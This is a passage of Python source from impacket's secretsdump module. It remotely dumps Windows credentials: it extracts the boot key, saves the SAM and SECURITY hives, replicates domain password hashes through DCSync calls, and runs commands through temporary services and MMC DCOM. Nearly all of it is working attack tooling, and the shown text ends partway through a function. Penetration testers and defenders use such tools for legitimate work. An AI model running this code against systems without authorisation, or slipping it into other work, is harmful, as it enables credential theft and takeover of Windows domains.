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# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Performs various techniques to dump hashes from the
# remote machine without executing any agent there.
# For SAM and LSA Secrets (including cached creds)
# we try to read as much as we can from the registry
# and then we save the hives in the target system
# (%SYSTEMROOT%\\Temp dir) and read the rest of the
# data from there.
# For NTDS.dit we either:
# a. Get the domain users list and get its hashes
# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
# call, replicating just the attributes we need.
# b. Extract NTDS.dit via vssadmin executed with the
# smbexec approach.
# It's copied on the temp dir and parsed remotely.
#
# The script initiates the services required for its working
# if they are not available (e.g. Remote Registry, even if it is
# disabled). After the work is done, things are restored to the
# original state.
#
# Author:
# Alberto Solino (@agsolino)
#
# References: Most of the work done by these guys. I just put all
# the pieces together, plus some extra magic.
#
# https://github.com/gentilkiwi/kekeo/tree/master/dcsync
# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
# https://code.google.com/p/creddump/
# https://lab.mediaservice.net/code/cachedump.rb
# https://insecurety.net/?p=768
# http://www.beginningtoseethelight.org/ntsecurity/index.htm
# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
# https://www.passcape.com/index.php?section=blog&cmd=details&id=15
#
from __future__ import division
from __future__ import print_function
import codecs
import hashlib
import logging
import ntpath
import os
import random
import string
import time
from binascii import unhexlify, hexlify
from collections import OrderedDict
from datetime import datetime
from struct import unpack, pack
from six import b, PY2
from impacket import LOG
from impacket import system_errors
from impacket import winregistry, ntlm
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
VARIANT, VARENUM, DISPATCH_METHOD
from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
IRemUnknown2, INTERFACE
from impacket.ese import ESENT_DB
from impacket.dpapi import DPAPI_SYSTEM
from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.structure import Structure
from impacket.structure import hexdump
from impacket.uuid import string_to_bin
from impacket.crypto import transformKey
from impacket.krb5 import constants
from impacket.krb5.crypto import string_to_key
try:
from Cryptodome.Cipher import DES, ARC4, AES
from Cryptodome.Hash import HMAC, MD4
except ImportError:
LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
LOG.critical("See https://pypi.org/project/pycryptodomex/")
# Structures
# Taken from https://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
structure = (
('Revision','<L=0'),
('Length','<L=0'),
('Salt','16s=b""'),
('Key','16s=b""'),
('CheckSum','16s=b""'),
('Reserved','<Q=0'),
)
# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/CoreSecurity/impacket/issues/326
# Merci! Makes it way easier than parsing manually.
class SAM_HASH(Structure):
structure = (
('PekID','<H=0'),
('Revision','<H=0'),
('Hash','16s=b""'),
)
class SAM_KEY_DATA_AES(Structure):
structure = (
('Revision','<L=0'),
('Length','<L=0'),
('CheckSumLen','<L=0'),
('DataLen','<L=0'),
('Salt','16s=b""'),
('Data',':'),
)
class SAM_HASH_AES(Structure):
structure = (
('PekID','<H=0'),
('Revision','<H=0'),
('DataOffset','<L=0'),
('Salt','16s=b""'),
('Hash',':'),
)
class DOMAIN_ACCOUNT_F(Structure):
structure = (
('Revision','<L=0'),
('Unknown','<L=0'),
('CreationTime','<Q=0'),
('DomainModifiedCount','<Q=0'),
('MaxPasswordAge','<Q=0'),
('MinPasswordAge','<Q=0'),
('ForceLogoff','<Q=0'),
('LockoutDuration','<Q=0'),
('LockoutObservationWindow','<Q=0'),
('ModifiedCountAtLastPromotion','<Q=0'),
('NextRid','<L=0'),
('PasswordProperties','<L=0'),
('MinPasswordLength','<H=0'),
('PasswordHistoryLength','<H=0'),
('LockoutThreshold','<H=0'),
('Unknown2','<H=0'),
('ServerState','<L=0'),
('ServerRole','<H=0'),
('UasCompatibilityRequired','<H=0'),
('Unknown3','<Q=0'),
('Key0',':'),
# Commenting this, not needed and not present on Windows 2000 SP0
# ('Key1',':', SAM_KEY_DATA),
# ('Unknown4','<L=0'),
)
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V(Structure):
structure = (
('Unknown','12s=b""'),
('NameOffset','<L=0'),
('NameLength','<L=0'),
('Unknown2','<L=0'),
('FullNameOffset','<L=0'),
('FullNameLength','<L=0'),
('Unknown3','<L=0'),
('CommentOffset','<L=0'),
('CommentLength','<L=0'),
('Unknown3','<L=0'),
('UserCommentOffset','<L=0'),
('UserCommentLength','<L=0'),
('Unknown4','<L=0'),
('Unknown5','12s=b""'),
('HomeDirOffset','<L=0'),
('HomeDirLength','<L=0'),
('Unknown6','<L=0'),
('HomeDirConnectOffset','<L=0'),
('HomeDirConnectLength','<L=0'),
('Unknown7','<L=0'),
('ScriptPathOffset','<L=0'),
('ScriptPathLength','<L=0'),
('Unknown8','<L=0'),
('ProfilePathOffset','<L=0'),
('ProfilePathLength','<L=0'),
('Unknown9','<L=0'),
('WorkstationsOffset','<L=0'),
('WorkstationsLength','<L=0'),
('Unknown10','<L=0'),
('HoursAllowedOffset','<L=0'),
('HoursAllowedLength','<L=0'),
('Unknown11','<L=0'),
('Unknown12','12s=b""'),
('LMHashOffset','<L=0'),
('LMHashLength','<L=0'),
('Unknown13','<L=0'),
('NTHashOffset','<L=0'),
('NTHashLength','<L=0'),
('Unknown14','<L=0'),
('Unknown15','24s=b""'),
('Data',':=b""'),
)
class NL_RECORD(Structure):
structure = (
('UserLength','<H=0'),
('DomainNameLength','<H=0'),
('EffectiveNameLength','<H=0'),
('FullNameLength','<H=0'),
# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265
('LogonScriptName','<H=0'),
('ProfilePathLength','<H=0'),
('HomeDirectoryLength','<H=0'),
('HomeDirectoryDriveLength','<H=0'),
('UserId','<L=0'),
('PrimaryGroupId','<L=0'),
('GroupCount','<L=0'),
('logonDomainNameLength','<H=0'),
('unk0','<H=0'),
('LastWrite','<Q=0'),
('Revision','<L=0'),
('SidCount','<L=0'),
('Flags','<L=0'),
('unk1','<L=0'),
('LogonPackageLength','<L=0'),
('DnsDomainNameLength','<H=0'),
('UPN','<H=0'),
# ('MetaData','52s=""'),
# ('FullDomainLength','<H=0'),
# ('Length2','<H=0'),
('IV','16s=b""'),
('CH','16s=b""'),
('EncryptedData',':'),
)
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
structure = (
('Value','6s'),
)
class SAMR_RPC_SID(Structure):
structure = (
('Revision','<B'),
('SubAuthorityCount','<B'),
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
('SubAuthority',':'),
)
def formatCanonical(self):
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))
for i in range(self['SubAuthorityCount']):
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
return ans
class LSA_SECRET_BLOB(Structure):
structure = (
('Length','<L=0'),
('Unknown','12s=b""'),
('_Secret','_-Secret','self["Length"]'),
('Secret',':'),
('Remaining',':'),
)
class LSA_SECRET(Structure):
structure = (
('Version','<L=0'),
('EncKeyID','16s=b""'),
('EncAlgorithm','<L=0'),
('Flags','<L=0'),
('EncryptedData',':'),
)
class LSA_SECRET_XP(Structure):
structure = (
('Length','<L=0'),
('Version','<L=0'),
('_Secret','_-Secret', 'self["Length"]'),
('Secret', ':'),
)
# Helper to create files for exporting
def openFile(fileName, mode='w+', openFileFunc=None):
if openFileFunc is not None:
return openFileFunc(fileName, mode)
else:
return codecs.open(fileName, mode, encoding='utf-8')
# Classes
class RemoteFile:
def __init__(self, smbConnection, fileName):
self.__smbConnection = smbConnection
self.__fileName = fileName
self.__tid = self.__smbConnection.connectTree('ADMIN$')
self.__fid = None
self.__currentOffset = 0
def open(self):
tries = 0
while True:
try:
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ)
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
if tries >= 3:
raise e
# Stuff didn't finish yet.. wait more
time.sleep(5)
tries += 1
pass
else:
raise e
else:
break
def seek(self, offset, whence):
# Implement whence, for now it's always from the beginning of the file
if whence == 0:
self.__currentOffset = offset
def read(self, bytesToRead):
if bytesToRead > 0:
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
self.__currentOffset += len(data)
return data
return b''
def close(self):
if self.__fid is not None:
self.__smbConnection.closeFile(self.__tid, self.__fid)
self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
self.__fid = None
def tell(self):
return self.__currentOffset
def __str__(self):
return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
class RemoteOperations:
def __init__(self, smbConnection, doKerberos, kdcHost=None):
self.__smbConnection = smbConnection
if self.__smbConnection is not None:
self.__smbConnection.setTimeout(5*60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
self.__samr = None
self.__domainHandle = None
self.__domainName = None
self.__drsr = None
self.__hDrs = None
self.__NtdsDsaObjectGuid = None
self.__ppartialAttrSet = None
self.__prefixTable = []
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__bootKey = b''
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
self.__tmpServiceName = None
self.__serviceDeleted = False
self.__batchFile = '%TEMP%\\execute.bat'
self.__shell = '%COMSPEC% /Q /c '
self.__output = '%SYSTEMROOT%\\Temp\\__output'
self.__answerTMP = b''
self.__execMethod = 'smbexec'
def setExecMethod(self, method):
self.__execMethod = method
def __connectSvcCtl(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def __connectWinReg(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def connectSamr(self, domain):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
rpc.set_smb_connection(self.__smbConnection)
self.__samr = rpc.get_dce_rpc()
self.__samr.connect()
self.__samr.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(self.__samr)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
self.__domainHandle = resp['DomainHandle']
self.__domainName = domain
def __connectDrds(self):
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
rpc.setRemoteName(self.__smbConnection.getRemoteName())
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
# Uncomment these lines if you want to play some tricks
# This will make the dump way slower tho.
#self.__drsr.bind(samr.MSRPC_UUID_SAMR)
#self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
#self.__drsr.set_max_fragment_size(1)
# And Comment this line
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
if self.__domainName is None:
# Get domain name from credentials cached
self.__domainName = rpc.get_credentials()[2]
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
# I'm uber potential (c) Ben
drs['dwExtCaps'] = 0xffffffff
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(drs.getData())
resp = self.__drsr.request(request)
if LOG.level == logging.DEBUG:
LOG.debug('DRSBind() answer')
resp.dump()
# Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
drsExtensionsInt.fromString(ppextServer)
if drsExtensionsInt['dwReplEpoch'] != 0:
# Different epoch, we have to call DRSBind again
if LOG.level == logging.DEBUG:
LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
'dwReplEpoch'])
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(drs.getData())
resp = self.__drsr.request(request)
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
if LOG.level == logging.DEBUG:
LOG.debug('DRSDomainControllerInfo() answer')
resp.dump()
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
raise Exception('Fatal, aborting')
def getDrsr(self):
return self.__drsr
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
if self.__drsr is None:
self.__connectDrds()
LOG.debug('Calling DRSCrackNames for %s ' % name)
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def DRSGetNCChanges(self, userEntry):
if self.__drsr is None:
self.__connectDrds()
LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = string_to_bin(userEntry[1:-1])
dsName['Sid'] = ''
dsName['NameLen'] = 0
dsName['StringName'] = ('\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
if self.__ppartialAttrSet is None:
self.__prefixTable = []
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
self.__ppartialAttrSet['dwVersion'] = 1
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
return self.__drsr.request(request)
def getDomainUsers(self, enumerationContext=0):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
try:
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
samr.USER_SERVER_TRUST_ACCOUNT |\
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException as e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
return resp
def ridToSid(self, rid):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
return resp['Sid']
def getMachineKerberosSalt(self):
"""
Returns Kerberos salt for the current connection if
we have the correct information
"""
if self.__smbConnection.getServerName() == '':
# Todo: figure out an RPC call that gives us the domain FQDN
# instead of the NETBIOS name as NetrWkstaGetInfo does
return b''
else:
host = self.__smbConnection.getServerName()
domain = self.__smbConnection.getServerDNSDomainName()
salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))
return salt
def getMachineNameAndDomain(self):
if self.__smbConnection.getServerName() == '':
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
rpc.set_smb_connection(self.__smbConnection)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
resp = wkst.hNetrWkstaGetInfo(dce, 100)
dce.disconnect()
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
'wki100_langroup'][:-1]
else:
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
def getDefaultLoginAccount(self):
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
keyHandle = ans['phkResult']
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
username = dataValue[:-1]
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
domain = dataValue[:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
if len(domain) > 0:
return '%s\\%s' % (domain,username)
else:
return username
except:
return None
def getServiceAccount(self, serviceName):
try:
# Open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
serviceHandle = ans['lpServiceHandle']
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
if account.startswith('.\\'):
account = account[2:]
return account
except Exception as e:
# Don't log if history service is not found, that should be normal
if serviceName.endswith("_history") is False:
LOG.error(e)
return None
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
LOG.info('Service %s is in stopped state'% self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
LOG.debug('Service %s is already running'% self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
if ans['lpServiceConfig']['dwStartType'] == 0x4:
LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
self.__disabled = True
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
LOG.info('Starting service %s' % self.__serviceName)
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
time.sleep(1)
def enableRegistry(self):
self.__connectSvcCtl()
self.__checkServiceStatus()
self.__connectWinReg()
def __restore(self):
# First of all stop the service if it was originally stopped
if self.__shouldStop is True:
LOG.info('Stopping service %s' % self.__serviceName)
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
if self.__disabled is True:
LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
if self.__serviceDeleted is False:
# Check again the service we created does not exist, starting a new connection
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
try:
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*self.__smbConnection.getCredentials())
rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
rpc.disconnect()
except Exception as e:
# If service is stopped it'll trigger an exception
# If service does not exist it'll trigger an exception
# So. we just wanna be sure we delete it, no need to
# show this exception message
pass
def finish(self):
self.__restore()
if self.__rrp is not None:
self.__rrp.disconnect()
if self.__drsr is not None:
self.__drsr.disconnect()
if self.__samr is not None:
self.__samr.disconnect()
if self.__scmr is not None:
try:
self.__scmr.disconnect()
except Exception as e:
if str(e).find('STATUS_INVALID_PARAMETER') >=0:
pass
else:
raise
def getBootKey(self):
bootKey = b''
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
for key in ['JD','Skew1','GBG','Data']:
LOG.debug('Retrieving class info for %s'% key)
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
bootKey = bootKey + b(ans['lpClassOut'][:-1])
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
bootKey = unhexlify(bootKey)
for i in range(len(bootKey)):
self.__bootKey += bootKey[transforms[i]:transforms[i]+1]
LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))
return self.__bootKey
def checkNoLMHashPolicy(self):
LOG.debug('Checking NoLMHash Policy')
ans = rrp.hOpenLocalMachine(self.__rrp)
self.__regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
keyHandle = ans['phkResult']
try:
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
except:
noLMHash = 0
if noLMHash != 1:
LOG.debug('LMHashes are being stored')
return False
LOG.debug('LMHashes are NOT being stored')
return True
def __retrieveHive(self, hiveName):
tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
ans = rrp.hOpenLocalMachine(self.__rrp)
regHandle = ans['phKey']
try:
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
except:
raise Exception("Can't open %s hive" % hiveName)
keyHandle = ans['phkResult']
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
# Now let's open the remote file, so it can be read later
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
return remoteFileName
def saveSAM(self):
LOG.debug('Saving remote SAM database')
return self.__retrieveHive('SAM')
def saveSECURITY(self):
LOG.debug('Saving remote SECURITY database')
return self.__retrieveHive('SECURITY')
def __smbExec(self, command):
self.__serviceDeleted = False
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
self.__serviceDeleted = True
scmr.hRCloseServiceHandle(self.__scmr, service)
def __getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF(b''.join(resp))['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(b''.join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(b''.join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(b''.join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(b''.join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
return IRemUnknown2(
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
target=interface.get_target()))
def __mmcExec(self,command):
command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iDocument.GetIDsOfNames(('ActiveView',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 4
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
